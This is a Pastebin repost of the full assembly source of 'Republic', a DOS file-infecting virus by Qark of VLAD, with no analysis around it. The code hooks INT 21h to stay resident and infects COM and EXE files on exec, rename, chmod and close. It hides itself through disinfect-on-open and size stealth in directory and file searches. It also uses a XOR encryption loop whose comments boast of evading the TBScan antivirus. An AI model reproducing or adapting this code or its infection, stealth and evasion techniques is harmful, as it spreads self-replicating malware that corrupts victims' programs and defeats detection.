FlyFar

VLAD Magazine - Issue #2 - ARTICLE.4_3 - Republic Virus Source Code

Jun 29th, 2023
129
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASM (NASM) 22.22 KB | Cybersecurity | 0 0
  1. ;               REPUBLIC!
  2. ;               +-------+             Qark/VLAD
  3. ;
  4. ;
  5. ; A funny thing:  I wrote a full-on MTE/TPE/DAME type polymorphic engine
  6. ; for this virus, but TBScan found it every time!  But when i do the
  7. ; ****** XOR routine that's at the end, TBScan hardly finds anything!
  8. ; TBAV can be proud of its capabilities with polymorphism, but for
  9. ; basic encryption it's a big thumbs down...
  10. ;
  11. ;       Stats:
  12. ;               -       Disinfect on open, Infect on close.
  13. ;               -       No directory filesize change
  14. ;               -       No find first filesize change
  15. ;               -       Some anti-debugging features
  16. ;
  17. ;
  18. ; As always, the A86 assembler is my favourite :)
  19.  
  20.  
  21.                 org     0
  22.  
  23.  
  24.         db      0beh            ;MOV SI,xxxx
  25. delta   dw      offset enc_start + 100h
  26.         cld
  27.         call    encrypt
  28. enc_start:
  29.         push    cs
  30.         pop     ds                              ;DS=CS
  31.         sub     si,offset enc_end               ;The polymorphism is done.
  32.        
  33.        
  34.        
  35.         mov     word ptr [si+offset quit],20cdh
  36. quit:
  37.         mov     word ptr [si+offset quit],44c7h ;The bytes changed.
  38.  
  39.  
  40.         push    es
  41.         push    si
  42.        
  43.         ;If I don't get a feed soon, I'll start to fade...
  44.  
  45.         mov     ax,0FEEDh               ;Feed ?
  46.         int     21h
  47.  
  48.         cmp     ax,0FADEh               ;Yes...
  49.         je      resident                ;Fade...
  50.  
  51.         mov     ax,es
  52.         dec     ax
  53.         mov     ds,ax
  54.  
  55.         cmp     byte ptr [0],'Z'
  56.         jne     resident
  57.  
  58.         sub     word ptr [3],160        ;2560 bytes of memory.
  59.         sub     word ptr [12h],160      ;2560 bytes off TOM.
  60.        
  61.         mov     bx,word ptr [12h]       ;Read in the TOM.
  62.  
  63.         push    cs
  64.         pop     ds                      ;DS=CS
  65.  
  66.         xor     ax,ax                   ;ES=0  (Vector Table)
  67.         mov     es,ax
  68.  
  69.         mov     ax,word ptr es:[132]    ;Get int21h.
  70.         mov     word ptr [si+offset i21],ax
  71.  
  72.         mov     ax,word ptr es:[134]    ;Get int21h segment.
  73.         mov     word ptr [si+offset i21+2],ax
  74.  
  75.         mov     es,bx                   ;ES=Segment to store virus.
  76.  
  77.         xor     di,di                   ;Zero in memory.
  78.         mov     cx,offset length        ;The size of the virus.
  79.         rep     movsb                   ;Move the virus.
  80.  
  81.         xor     ax,ax
  82.         mov     ds,ax                   ;ES=0 (Vector Table)
  83.  
  84.         mov     word ptr [132],offset infection
  85.         mov     [134],bx                ;BX=Virus Seg I hope!
  86.        
  87. resident:
  88.  
  89.         pop     si                      ;SI=IP (Virus start)
  90.         pop     es                      ;ES=PSP
  91.  
  92.         push    cs
  93.         pop     ds
  94.  
  95.         cmp     byte ptr [si+offset com_exe],1
  96.         je      exe_exit
  97.  
  98.         mov     ax,word ptr [si+offset old3]
  99.         mov     [100h],ax
  100.         mov     al,byte ptr [si+offset old3+2]
  101.         mov     [102h],al
  102.  
  103.         push    es
  104.         pop     ds
  105.  
  106.         call    zero_all
  107.         mov     ax,100h
  108.         jmp     ax
  109.        
  110. Exe_Exit:
  111.  
  112.         mov     ax,es                   ;ES=PSP
  113.         add     ax,10h                  ;EXE file start.
  114.         add     word ptr [si+jump+2],ax
  115.        
  116.         call    zero_all
  117.        
  118.         mov     sp,word ptr [si+offset orig_sp]
  119.         add     ax,word ptr [si+offset orig_ss] ;Fix SS with AX.
  120.         mov     ss,ax
  121.        
  122.         push    es
  123.         pop     ds
  124.        
  125.        
  126.         db      0eah
  127.         jump    dd      0
  128.        
  129.         Message         db      'Go the Republic! '
  130.                         db      '**** *** Royal Family!',0
  131.         Creator         db      'Qark/VLAD of the Republic of Australia',0
  132.  
  133. Infection:
  134.  
  135.         push    ax
  136.         xchg    al,ah
  137.        
  138.         cmp     ax,004bh                ;Exec.  Don't infect on 4B01h because
  139.         je      test_inf                ;debug will find it then.
  140.  
  141.         cmp     al,43h                  ;Chmod.
  142.         je      test_inf
  143.        
  144.         cmp     al,56h                  ;Rename.
  145.         je      test_inf
  146.        
  147.         cmp     al,6ch                  ;Open.
  148.         je      dis_inf
  149.        
  150.         cmp     al,3dh                  ;Open
  151.         je      dis_inf
  152.  
  153.         cmp     al,11h                  ;FCB find.
  154.         je      dir_listing
  155.        
  156.         cmp     al,12h                  ;Dir listing in progress.
  157.         je      dir_listing
  158.  
  159.         cmp     al,4eh                  ;Find first.
  160.         je      find_file
  161.        
  162.         cmp     al,4fh                  ;Find_next.
  163.         je      find_file
  164.        
  165.         cmp     al,3eh                  ;Close.
  166.         je      end_infect
  167.  
  168.         pop     ax
  169.  
  170.         cmp     ax,0FEEDh
  171.         je      res_check               ;Testing for installation ?
  172.  
  173. jump_exit:
  174.  
  175.         jmp     jend                    ;Exit TSR
  176.  
  177. res_check:
  178.         mov     ax,0FADEh               ;Return parameter.
  179.         iret
  180.  
  181. dir_listing:
  182.         jmp     dir_stealth
  183. find_file:
  184.         jmp     search_stealth
  185. dis_inf:
  186.         jmp     full_stealth            ;Disinfect on the fly.
  187. end_infect:
  188.         jmp     close_infect
  189.  
  190. jump2_exit:
  191.         jmp     far_pop_exit            ;Just an exit.
  192.  
  193. test_inf:
  194.  
  195.         push    bx
  196.         push    cx
  197.         push    dx
  198.         push    si
  199.         push    di
  200.         push    ds
  201.         push    es
  202.        
  203.         call    check_name
  204.  
  205.         jc      jump2_exit
  206.  
  207.         mov     ax,3d00h        ;Open readonly.
  208.         mov     dx,di           ;DX=DI=Offset length
  209.         call    int21h
  210.  
  211.         jc      jump2_exit
  212.  
  213.         mov     bx,ax
  214.  
  215.         call    get_sft
  216.  
  217.                                         ;Test for infection.
  218.         mov     ax,word ptr es:[di+0dh] ;File time into AX from SFT.
  219.         mov     word ptr es:[di+2],2    ;Bypass Read only attribute.
  220.         and     ax,1f1fh                ;Get rid of the shit we don't need.
  221.         cmp     al,ah                   ;Compare the seconds with minutes.
  222.         je      jump2_exit
  223.  
  224. Handle_Infection:
  225.  
  226.         push    cs
  227.         pop     es                      ;ES=CS
  228.  
  229.                                         ;Read the File header in to test
  230.                                         ;for EXE or COM.
  231.         mov     ah,3fh                  ;Read from file.
  232.         mov     cx,1ch                  ;1C bytes.
  233.         call    int21h                  ;DX=Offset length from file open.
  234.                                         ;We don't need the filename anymore
  235.                                         ;so use that space as a buffer.
  236.  
  237.         mov     si,dx                   ;SI=DX=offset length.
  238.         mov     di,offset header
  239.         mov     cx,18h
  240.         rep     movsb                   ;Move header to header.
  241.  
  242.        
  243.         mov     si,dx                   ;SI=DX=Offset of length.
  244.  
  245.         mov     ax,word ptr [si]        ;=Start of COM or EXE.
  246.         add     al,ah                   ;Add possible MZ.
  247.         cmp     al,167                  ;Test for MZ.
  248.         je      exe_infect
  249.         jmp     com_infect
  250.  
  251. EXE_infect:
  252.  
  253.         mov     byte ptr com_exe,1      ;Signal EXE file.
  254.  
  255.         cmp     word ptr [si+1ah],0     ;Test for overlays.
  256.         jne     exe_close_exit          ;Quick... run!!!
  257.  
  258.         push    si                      ;SI=Offset of header
  259.  
  260.         add     si,0eh                  ;SS:SP are here.
  261.         mov     di,offset orig_ss
  262.         movsw                           ;Move them!
  263.         movsw
  264.  
  265.         mov     di,offset jump          ;The CS:IP go in here.
  266.  
  267.         lodsw                           ;ADD SI,2 - AX destroyed.
  268.  
  269.         movsw
  270.         movsw                           ;Move them!
  271.  
  272.         pop     si
  273.  
  274.         call    get_sft                 ;ES:DI = SFT for file.
  275.  
  276.         mov     ax,word ptr es:[di+11h] ;File length in DX:AX.
  277.         mov     dx,word ptr es:[di+13h]
  278.         mov     cx,16                   ;Divide by paragraphs.
  279.         div     cx
  280.  
  281.         sub     ax,word ptr [si+8]      ;Subtract headersize.
  282.  
  283.         mov     word ptr delta,dx       ;Initial IP.
  284.        
  285.         add     delta,offset enc_start  ;Fix for polymorphics.
  286.  
  287.         mov     word ptr [si+14h],dx    ;IP in header.
  288.         mov     word ptr [si+16h],ax    ;CS in header.
  289.  
  290.         add     dx,offset stack_end     ;Fix SS:SP for file.
  291.  
  292.         mov     word ptr [si+0eh],ax    ;We'll make SS=CS
  293.         mov     word ptr [si+10h],dx    ;SP=IP+Offset of our buffer.
  294.  
  295.         mov     ax,word ptr es:[di+11h] ;File length in DX:AX.
  296.         mov     dx,word ptr es:[di+13h]
  297.  
  298.         add     ax,offset length        ;Add the virus length on.
  299.         adc     dx,0                    ;32bit
  300.  
  301.         mov     cx,512                  ;Divide by pages.
  302.         div     cx
  303.  
  304.         and     dx,dx
  305.         jz      no_page_fix
  306.  
  307.         inc     ax                              ;One more for the partial
  308.                                                 ;page!
  309. no_page_fix:
  310.  
  311.         mov     word ptr [si+4],ax              ;Number of pages.
  312.         mov     word ptr [si+2],dx              ;Partial page.
  313.  
  314.         mov     word ptr es:[di+15h],0          ;Lseek to start of file.
  315.  
  316.         call    get_date                        ;Save the old time/date.
  317.  
  318.         mov     ah,40h                          ;Write header to file.
  319.         mov     dx,si                           ;Our header buffer.
  320.         mov     cx,1ch                          ;1CH bytes.
  321.         call    int21h
  322.  
  323.         jc      exe_close_exit
  324.  
  325.         mov     ax,4202h                        ;End of file.  Smaller than
  326.                                                 ;using SFT's.
  327.         xor     cx,cx                           ;Zero CX
  328.         cwd                                     ;Zero DX (If AX < 8000H then
  329.                                                 ;CWD moves zero into DX)
  330.         call    int21h
  331.  
  332.         call    enc_setup                       ;Thisll encrypt it and move
  333.                                                 ;it to the end of file.
  334. exe_close_exit:
  335.  
  336.         jmp     com_close_exit
  337.  
  338. com_infect:
  339.  
  340.         mov     byte ptr com_exe,0      ;Flag COM infection.
  341.  
  342.         mov     ax,word ptr [si]        ;Save COM files first 3 bytes.
  343.         mov     word ptr old3,ax
  344.         mov     al,[si+2]
  345.         mov     byte ptr old3+2,al
  346.  
  347.         call    get_sft                 ;SFT is at ES:DI
  348.  
  349.         mov     ax,es:[di+11h]          ;AX=File Size
  350.  
  351.         cmp     ax,64000
  352.         ja      com_close_exit          ;Too big.
  353.  
  354.         cmp     ax,1000
  355.         jb      com_close_exit          ;Too small.
  356.  
  357.         push    ax                      ;Save filesize.
  358.  
  359.         mov     newoff,ax               ;For the new jump.
  360.         sub     newoff,3                ;Fix the jump.
  361.  
  362.         mov     word ptr es:[di+15h],0  ;Lseek to start of file :)
  363.  
  364.         call    get_date                ;Save original file date.
  365.  
  366.         mov     ah,40h
  367.         mov     cx,3
  368.         mov     dx,offset new3          ;Write the virus jump to start of
  369.         call    int21h                  ;file.
  370.  
  371.         pop     ax                      ;Restore file size.
  372.  
  373.         jc      com_close_exit          ;If an error occurred... exit.
  374.  
  375.         mov     word ptr es:[di+15h],ax ;Lseek to end of file.
  376.  
  377.         add     ax,offset enc_start + 100h    ;File size + 100h.
  378.         mov     word ptr delta,ax       ;The delta offset for COM files.
  379.  
  380.         call    enc_setup
  381.  
  382. com_close_exit:
  383.  
  384.         mov     ah,3eh
  385.         call    int21h
  386.  
  387. far_pop_exit:
  388.  
  389.         pop     es
  390.         pop     ds
  391.         pop     di
  392.         pop     si
  393.         pop     dx
  394.         pop     cx
  395.         pop     bx
  396.         pop     ax
  397.  
  398. jend:
  399.         db      0eah                    ;Opcode for jmpf
  400.         i21     dd      0
  401.  
  402. int21h  proc    near                    ;Our int 21h
  403.  
  404.         pushf
  405.         call    dword ptr cs:[i21]
  406.         ret
  407. int21h  endp
  408.  
  409. close_infect:
  410.         cmp     bl,4
  411.         ja      good_handle    
  412.         pop     ax
  413.         jmp     jend
  414.  
  415. Good_Handle:
  416.  
  417.         push    bx                      ;Save the original registers.
  418.         push    cx
  419.         push    dx
  420.         push    si
  421.         push    di
  422.         push    ds
  423.         push    es
  424.  
  425.         call    get_sft                 ;ES:DI = SFT
  426.         mov     ax,word ptr es:[di+0dh] ;AX=Time
  427.         and     ax,1f1fh                ;Shit we don't need.
  428.         cmp     al,ah                   ;AL=AH means infected.
  429.         je      far_pop_exit
  430.  
  431.         mov     dx,offset length
  432.         push    cs
  433.         pop     ds
  434.  
  435.         mov     word ptr es:[di+2],2             ;Read/Write mode.
  436.         mov     word ptr es:[di+15h],0           ;Zero file pointer.
  437.         mov     word ptr es:[di+17h],0           ;Zero file pointer.
  438.         add     di,28h                  ;ES:DI=Extension
  439.         cmp     word ptr es:[di],'OC'
  440.         je      close_com
  441.         cmp     word ptr es:[di],'XE'
  442.         jne     far_pop_exit
  443. Close_Exe:
  444.         inc     di
  445.         inc     di
  446.         cmp     byte ptr es:[di],'E'
  447.         jne     far_pop_exit
  448.         jmp     handle_infection
  449.  
  450. Close_Com:
  451.  
  452.         cmp     byte ptr es:[di+2],'M'
  453.         jne     far_pop_exit
  454.         jmp     handle_infection
  455.  
  456. ;-------
  457.  
  458. Full_Stealth:
  459.         push    bx
  460.         push    cx
  461.         push    dx
  462.         push    si
  463.         push    di
  464.         push    ds
  465.         push    es
  466.  
  467.         cmp     al,6ch
  468.         jne     stealth_6c
  469.        
  470.         mov     dx,si
  471.  
  472. stealth_6c:
  473.         call    check_name
  474.         jnc     do_stealth
  475. Stealth_end:
  476.         jmp     far_pop_exit
  477.  
  478. Do_Stealth:
  479.  
  480.         mov     ax,3d00h
  481.         mov     dx,di
  482.         call    int21h
  483.         jc      stealth_end
  484.  
  485.         mov     bx,ax                   ;BX=filehandle
  486.         call    get_sft
  487.                                         ;ES:DI=SFT
  488.        
  489.         mov     ax,word ptr es:[di+0dh] ;File time into AX from SFT.
  490.         mov     word ptr es:[di+2],2    ;Bypass Read only attribute.
  491.         and     ax,1f1fh                ;Get rid of the shit we don't need.
  492.         cmp     al,ah                   ;Compare the seconds with minutes.
  493.         jne     stealth_end             ;Not infected...
  494.  
  495.  
  496.         mov     ax,word ptr es:[di+11h] ;File size.
  497.         mov     dx,word ptr es:[di+13h]
  498.  
  499.         push    dx
  500.         push    ax
  501.  
  502.         sub     ax,1ch                  ;Header+time+date = 1ch
  503.         sbb     dx,0
  504.         mov     word ptr es:[di+15h],ax ;File pointer.
  505.         mov     word ptr es:[di+17h],dx
  506.  
  507.         mov     ah,3fh
  508.         mov     dx,offset header        ;Read in header.
  509.         mov     cx,1ch
  510.         call    int21h
  511.  
  512.         pop     ax
  513.         pop     dx                      ;DX:AX=length of file
  514.  
  515.         sub     ax,offset length        ;EOF - length.
  516.         sbb     dx,0
  517.         mov     word ptr es:[di+15h],ax
  518.         mov     word ptr es:[di+17h],dx
  519.  
  520.         mov     ah,40h                  ;Truncate virus off.
  521.         xor     cx,cx
  522.         call    int21h
  523.         jc      stealth_end
  524.  
  525.         mov     word ptr es:[di+15h],0  ;Start of file
  526.         mov     word ptr es:[di+17h],0
  527.  
  528.         mov     ah,40h
  529.         mov     dx,offset header
  530.         mov     cx,18h
  531.         call    int21h                  ;Write original header back.
  532.  
  533.         mov     cx,word ptr time
  534.         mov     dx,word ptr date
  535.         mov     ax,5701h                ;Put original time/date back.
  536.         call    int21h
  537.  
  538.         mov     ah,3eh                  ;Close file.
  539.         call    int21h
  540.  
  541.         jmp     stealth_end
  542.  
  543. Check_Name      proc    near
  544. ;Entry:
  545. ;DS:DX=Filename
  546. ;
  547. ;Exit:
  548. ;Carry if bad name.
  549. ;DS=ES=CS
  550. ;AX is fucked.
  551. ;SI = File Extension Somewhere.
  552. ;DI = Offset length.
  553.  
  554.  
  555.         mov     si,dx                   ;DS:SI = Filename.
  556.  
  557.         push    cs
  558.         pop     es                      ;ES=CS
  559.  
  560.         mov     ah,60h                  ;Get qualified filename.
  561.         mov     di,offset length        ;DI=Buffer for filename.
  562.         call    int21h                  ;This converts it to uppercase too!
  563.  
  564.                                         ;CS:LENGTH = Filename in uppercase
  565.                                         ;with path and drive.  Much easier
  566.                                         ;to handle now!
  567.         push    cs
  568.         pop     ds                      ;DS=CS
  569.  
  570.         mov     si,di                   ;SI=DI=Offset Length
  571.  
  572.         cld                             ;Forward!
  573.  
  574. find_ascii_z:
  575.  
  576.         lodsb
  577.         cmp     al,0
  578.         jne     find_ascii_z
  579.  
  580.         sub     si,4                    ;Points to the file extension. 'EXE'
  581.  
  582.         lodsw                           ;Mov AX,DS:[SI]
  583.  
  584.         cmp     ax,'XE'                 ;The 'EX' out of 'EXE'
  585.         jne     test_com
  586.  
  587.         lodsb                           ;Mov AL,DS:[SI]
  588.  
  589.         cmp     al,'E'                  ;The last 'E' in 'EXE'
  590.         jne     Bad_Name
  591.  
  592.         jmp     do_file                 ;EXE-file
  593.  
  594. test_com:
  595.  
  596.         cmp     ax,'OC'                 ;The 'CO' out of 'COM'
  597.         jne     Bad_Name
  598.  
  599.         lodsb                           ;Mov AL,DS:[SI]
  600.  
  601.         cmp     al,'M'
  602.         je      do_file                 ;COM-file
  603.  
  604. Bad_Name:
  605.         stc
  606.         ret
  607.  
  608. do_file:
  609.         clc
  610.         ret
  611. Check_Name      endp
  612.  
  613.  
  614. Search_Stealth:
  615.  
  616.         pop     ax              ;Restore AX.
  617.  
  618.         call    int21h
  619.         jc      end_search
  620.  
  621.         push    es
  622.         push    bx
  623.         push    si
  624.  
  625.         mov     ah,2fh
  626.         call    int21h
  627.  
  628.         mov     si,bx
  629.  
  630.         mov     bx,word ptr es:[si+16h]
  631.         and     bx,1f1fh
  632.         cmp     bl,bh
  633.         jne     search_pop                         ;Is our marker set ?
  634.  
  635.         sub     word ptr es:[si+1ah],offset length ;Subtract the file length.
  636.         sbb     word ptr es:[si+1ch],0
  637.  
  638. search_pop:
  639.  
  640.         pop     si
  641.         pop     bx
  642.         pop     es
  643.         clc
  644.  
  645. end_search:
  646.         retf     2                      ;This is the same as an IRET
  647.                                         ;except that the flags aren't popped
  648.                                         ;off so our Carry Remains set.
  649.  
  650. Dir_Stealth:
  651.  
  652.         ;This bit means that wen you do a 'dir' there is no change in
  653.         ;file size.
  654.  
  655.         pop     ax
  656.  
  657.         call    int21h                          ;Call the interrupt
  658.         cmp     al,0                            ;straight off.
  659.         jne     end_of_dir
  660.  
  661.         push    es
  662.         push    ax                              ;Save em.
  663.         push    bx
  664.         push    si
  665.  
  666.         mov     ah,2fh                          ;Get DTA address.
  667.         call    int21h
  668.  
  669.         mov     si,bx
  670.  
  671.         cmp     byte ptr es:[si],0ffh           ;Extended FCB ?
  672.         jne     not_extended
  673.  
  674.         add     si,7                            ;Add the extra's.
  675.  
  676. not_extended:
  677.  
  678.         mov     bx,word ptr es:[si+17h]         ;Move time.
  679.         and     bx,1f1fh
  680.         cmp     bl,bh
  681.         jne     dir_pop                         ;Is our marker set ?
  682.  
  683.         sub     word ptr es:[si+1dh],offset length ;Subtract the file length.
  684.         sbb     word ptr es:[si+1fh],0
  685.  
  686. dir_pop:
  687.  
  688.         pop     si
  689.         pop     bx
  690.         pop     ax
  691.         pop     es
  692.  
  693. end_of_dir:
  694.        
  695.         iret
  696.  
  697. Get_Date        proc    near
  698.         mov     ax,5700h                ;Get Date/Time.
  699.         call    int21h
  700.         mov     word ptr time,cx
  701.         mov     word ptr date,dx
  702.  
  703.         ret
  704.  
  705. Get_date        endp
  706.  
  707. Set_Marker      proc    near
  708.        
  709.         mov     cx,time
  710.         mov     al,ch
  711.         and     al,1fh
  712.         and     cl,0e0h
  713.         or      cl,al
  714.         mov     dx,date
  715.         mov     ax,5701h
  716.         call    int21h
  717.  
  718.         ret
  719.  
  720. Set_marker      endp
  721.  
  722. Enc_Setup       proc    near
  723.  
  724.         push    cs
  725.         pop     es
  726.  
  727.         in      al,40h
  728.         mov     byte ptr cs:cipher,al
  729.  
  730.         xor     si,si
  731.         mov     di,offset length        ;Offset of our buffer.
  732.         mov     cx,offset length        ;Virus Length.
  733.         rep     movsb                   ;Move the virus up in memory for
  734.                                         ;encryption.
  735.        
  736.         mov     si,offset length + offset enc_start
  737.  
  738.         call    encrypt                 ;Encrypt virus.
  739.  
  740.         mov     ah,40h                  ;Write virus to file
  741.         mov     dx,offset length        ;Buffer for encrypted virus.
  742.         mov     cx,offset length        ;Virus length.
  743.         call    int21h
  744.  
  745.         call    set_marker              ;Mark file as infected.
  746.  
  747.         ret
  748.  
  749. Enc_setup       endp
  750.  
  751. Get_SFT Proc    Near
  752. ;Entry:  BX=File Handle.
  753. ;Exit:   ES:DI=SFT.
  754.         push    bx
  755.  
  756.         mov     ax,1220h        ;Get Job File Table Entry.  The byte pointed
  757.         int     2fh             ;at by ES:[DI] contains the number of the
  758.                                 ;SFT for the file handle.
  759.  
  760.         xor     bx,bx
  761.         mov     bl,es:[di]      ;Get address of System File Table Entry.
  762.         mov     ax,1216h
  763.         int     2fh
  764.  
  765.         pop     bx
  766.  
  767.         ret
  768.  
  769. Get_SFT EndP
  770.  
  771. Zero_All        proc    near
  772. ;Zero's everything cept AX.
  773.  
  774.         xor     bx,bx                   ;Zero BX
  775.         mov     cx,bx
  776.         mov     dx,bx
  777.         mov     di,bx
  778.        
  779.         ret
  780. Zero_All        endp
  781.  
  782.        
  783.         New3    db      0e9h                    ;The jump for the start of
  784.         Newoff  dw      0                       ;COM files.
  785.         orig_ss dw      0
  786.         orig_sp dw      0
  787.         com_exe db      0
  788.         old3    db      0cdh,20h,90h
  789.  
  790.  
  791.  
  792. enc_end:                                ;Encryption ends here.
  793.  
  794. ; QaRK's |<-RaD TBSCaN eVaDeR!!!!!111
  795.  
  796. ; Works every time :)
  797.  
  798. encrypt proc    near
  799.  
  800. ;Si = enc_start
  801.         mov     cx,offset enc_end - offset enc_start
  802.         db      0b0h            ;=MOV AL,xx                        
  803.         cipher  db      0
  804. enc_loop:
  805.         ror     al,1
  806.         neg     al
  807.         xor    cs:[si],al       ;<--- Whoah! Never guess this was encryption!
  808.         add     al,al
  809.         inc     si
  810.         loop    enc_loop
  811.         ret
  812.  
  813. Encrypt endp
  814.  
  815.         header  db      18h dup (0)             ;rewrite this
  816.         time    dw      0                       ;restore this
  817.         date    dw      0
  818.  
  819. length  db      200 dup (0)
  820. stack_end:
Add Comment
Please, Sign In to add comment